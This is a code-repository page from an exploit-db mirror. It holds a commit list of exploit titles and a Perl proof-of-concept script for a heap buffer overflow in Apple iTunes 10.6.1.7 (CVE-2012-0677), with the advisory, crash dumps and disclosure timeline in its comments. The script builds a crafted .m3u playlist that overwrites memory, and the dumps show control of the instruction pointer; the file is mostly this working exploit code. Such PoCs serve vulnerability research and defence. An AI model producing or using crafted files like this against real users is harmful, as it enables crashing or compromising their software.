bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/multiple/dos/19098.py
Offensive Security 6cbe6ebbb6 DB: 2021-09-03 
395 changes to exploits/shellcodes

EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC)

Electronics Workbench - '.ewb' Local Stack Overflow (PoC)

BulletProof FTP Client 2.63 - Local Heap Overflow (PoC)

Easy Web Password 1.2 - Local Heap Memory Consumption (PoC)

Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC)

eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC)

Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities

ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC)

ZoIPer 2.22 - Call-Info Remote Denial of Service
PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service
PHP - MultiPart Form-Data Denial of Service (PoC)
PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service
PHP - MultiPart Form-Data Denial of Service (PoC)

Nuked KLan 1.7.7 & SP4 - Denial of Service

AIC Audio Player 1.4.1.587 - Local Crash (PoC)

Xerox 4595 - Denial of Service

WinMerge 2.12.4 - Project File Handling Stack Overflow

Acoustica Mixcraft 1.00 - Local Crash

SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC)

Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption

Spotify 0.8.2.610 - search func Memory Exhaustion

Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC)

WaveSurfer 1.8.8p4 - Memory Corruption (PoC)
DIMIN Viewer 5.4.0 - Crash (PoC)
FreeVimager 4.1.0 - Crash (PoC)
DIMIN Viewer 5.4.0 - Crash (PoC)
FreeVimager 4.1.0 - Crash (PoC)

CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow

Light Audio Player 1.0.14 - Memory Corruption (PoC)

Image Transfer IOS - Remote Crash (PoC)

Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

VUPlayer 2.49 - '.cue' Universal Buffer Overflow

Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation

IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite

Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH)

Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow

Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal

Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH)

Alleycode HTML Editor 2.2.1 - Local Buffer Overflow

GPG2/Kleopatra 2.0.11 - Malformed Certificate

Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow

OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow

Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH)

Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation

MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation
eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1)
eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2)
eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1)
eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2)

eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3)

QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2)

CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow

quickshare file share 1.2.1 - Directory Traversal (1)

SPlayer 3.7 (build 2055) - Remote Buffer Overflow

Acunetix 8 build 20120704 - Remote Stack Overflow

Omeka 2.2.1 - Remote Code Execution

D-Link DSL-2740R - Remote DNS Change
D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure
Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure
D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure
Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure

Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution

TorrentTrader 1.0 RC2 - SQL Injection

WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion

MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion

PHP DocWriter 0.3 - 'script' Remote File Inclusion

phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion

phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion
RSSonate - 'xml2rss.php' Remote File Inclusion
CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion
RSSonate - 'xml2rss.php' Remote File Inclusion
CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion

QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion

BrewBlogger 1.3.1 - 'printLog.php' SQL Injection

e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion

awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion

Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion

Gizzar 03162002 - 'index.php' Remote File Inclusion

SH-News 0.93 - 'misc.php' Remote File Inclusion

JSBoard 2.0.10 - 'login.php?table' Local File Inclusion

XOOPS Module WF-Links 1.03 - 'cid' SQL Injection

Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion

WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion

mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion

EQdkp 1.3.2 - 'listmembers.php' SQL Injection

FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion

SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection

Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion

CCMS 3.1 Demo - SQL Injection

MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass

BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection

AuraCMS 1.62 - Multiple SQL Injections

sCssBoard (Multiple Versions) - 'pwnpack' Remote s

EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion

RevokeBB 1.0 RC11 - 'Search' SQL Injection

Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion

CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection

PHPortal 1.2 - Multiple Remote File Inclusions

Libera CMS 1.12 - 'cookie' SQL Injection

Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload

WCMS 1.0b - Arbitrary Add Admin

FOSS Gallery Admin 1.0 - Arbitrary File Upload

MemHT Portal 4.0.1 - SQL Injection / Code Execution

Mediatheka 4.2 - Blind SQL Injection

Pligg 9.9.5b - Arbitrary File Upload / SQL Injection

XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution

Joomla! Component Casino 0.3.1 - Multiple SQL Injections s

ZeusCart 2.3 - 'maincatid' SQL Injection

ASP Football Pool 2.3 - Remote Database Disclosure

LightNEasy sql/no-db 2.2.x - System Configuration Disclosure

Zen Cart 1.3.8 - Remote Code Execution

Joomla! Component com_pinboard - 'task' SQL Injection

Joomla! Component com_bookflip - 'book_id' SQL Injection

Messages Library 2.0 - Arbitrary Delete Message

Arab Portal 2.2 - Blind Cookie Authentication Bypass

Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion

REZERVI 3.0.2 - Remote Command Execution

Joomla! Component BF Quiz 1.0 - SQL Injection (2)

E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection

AJ Matrix DNA - SQL Injection

Joomla! Component JE Story Submit - Local File Inclusion

CF Image Hosting Script 1.3.82 - File Disclosure

hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting

CMSLogik 1.2.1 - Multiple Vulnerabilities

C.P.Sub 4.5 - Authentication Bypass

WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload

Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection

WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload

PHPMailer < 5.2.20 - Remote Code Execution

phpIPAM 1.4 - SQL Injection

Joomla! 3.9.0 < 3.9.7 - CSV Injection
2021-09-03 14:58:20 +00:00

198 lines
No EOL
12 KiB
Python
Executable file
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/perl
#
#
# Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow
#
#
# Vendor: Apple Inc.
# Product web page: http://www.apple.com
# Affected version: 10.6.1.7 and 10.6.0.40
#
# Summary: iTunes is a free application for your Mac or PC. It lets you
# organize and play digital music and video on your computer. It can
# automatically download new music, app, and book purchases across all
# your devices and computers. And it’s a store that has everything you
# need to be entertained. Anywhere. Anytime.
#
# Desc: The vulnerability is caused due to a boundary error in the processing
# of a playlist file, which can be exploited to cause a heap based buffer
# overflow when a user opens e.g. a specially crafted .M3U file. Successful
# exploitation could allow execution of arbitrary code on the affected node.
#
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# (940.fc0): Access violation - code c0000005 (!!! second chance !!!)
# eax=41414141 ebx=08508cd8 ecx=41414141 edx=052a6528 esi=052a64b0 edi=0559ef20
# eip=41414141 esp=0012d8e8 ebp=7c90ff2d iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
# <Unloaded_Card.dll>+0x41414130:
# 41414141 ?? ???
#
# ~~~
#
# (6b0.a04): Access violation - code c0000005 (!!! second chance !!!)
# eax=41414141 ebx=00000000 ecx=00000014 edx=41414141 esi=41414141 edi=0187e10d
# eip=0187deec esp=0b0cfcd0 ebp=0b0cfcf0 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
# Defaulted to export symbols for C:\Program Files\Common Files\Apple\Apple Application Support\CoreFoundation.dll -
# CoreFoundation!CFWriteStreamCreateWithAllocatedBuffers+0x40:
# 0187deec 8b00 mov eax,dword ptr [eax] ds:0023:41414141=????????
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
# Tested on: Microsoft Windows XP Professional SP3 EN (32bit)
# Microsoft Windows 7 Ultimate SP1 EN (64bit)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Zero Science Lab - http://www.zeroscience.mk
#
#
# Vendor status:
#
# [13.03.2012] Vulnerability discovered in version 10.6.0.40.
# [29.03.2012] Vulnerability present in version 10.6.1.7.
# [11.05.2012] Vendor contacted.
# [11.05.2012] Vendor responds asking more details.
# [11.05.2012] Sent detailed information and PoC code to the vendor.
# [12.05.2012] Vendor begins investigation.
# [14.05.2012] Asked vendor for confirmation.
# [17.05.2012] Vendor confirms the vulnerability, developing patch.
# [17.05.2012] Requested a scheduled patch release date from vendor.
# [18.05.2012] Vendor replies.
# [06.06.2012] Asked vendor for status update.
# [08.06.2012] Vendor shares information about security update.
# [11.06.2012] Vendor releases version 10.6.3 to address this issue.
# [12.06.2012] Coordinated public security advisory released.
#
#
# Advisory ID: ZSL-2012-5093
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2012-5093.php
# Advisory TXT: http://www.zeroscience.mk/codes/itunes_bof.txt
#
# Apple ID: APPLE-SA-2012-06-11-1
# Apple Advisory #1: http://support.apple.com/kb/HT5318
# Apple Advisory #2: http://support.apple.com/kb/HT1222
#
# CVE ID: CVE-2012-0677
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0677
#
#
# 13.03.2012
#
use strict;
my $FILE = "HIEROGLYPH.m3u";
my $AN = "\x44\x44\x44\x44";
my $EGYPTIAN = "\x43" x 16560;
my $LIKE = "\x42\x42\x42\x42";
#######
#OOOOOOOOOOY
my $WALK="\x23\x45". "\x58\x54\x4D\x33".
"\x55\x0D\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41". "\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41". "\x41". "\x41\x41".
"\x41\x41\x41". "\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41\x41\x41".
"\x41\x41\x41". "\x41\x41\x41\x41".
"\x41\x41\x41\x41". "\x41\x41\x41\x41".
"\x41\x41\x41".
"\x41\x41\x41".
"\x41\x41\x41".
"\x41\x41\x41\x41".
"\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41". "\x41\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41\x41". "\x41\x41\x41".
"\x41\x41\x41\x41". "\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41". "\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41" x 7691;
my $CRYPT = $WALK.$LIKE.$AN.$EGYPTIAN;
print "\n\n[+] Creating $FILE file...\n";
open ZSL, ">./$FILE" || die "\n[-] Can't open $FILE: $!\n\n";
print ZSL $CRYPT;
print "\n[+] File successfully composed!\n\n";
close ZSL;
Reference in a new issue View git blame Copy permalink